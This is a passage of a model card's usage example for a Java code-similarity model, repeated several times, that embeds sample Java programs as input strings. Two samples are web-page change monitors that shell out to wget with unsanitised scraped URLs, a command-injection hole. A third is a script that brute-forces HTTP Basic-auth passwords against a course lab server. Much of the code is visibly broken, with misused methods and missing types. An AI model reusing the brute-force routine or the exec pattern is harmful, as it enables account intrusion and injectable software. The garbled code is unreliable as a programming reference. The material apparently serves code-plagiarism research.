File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
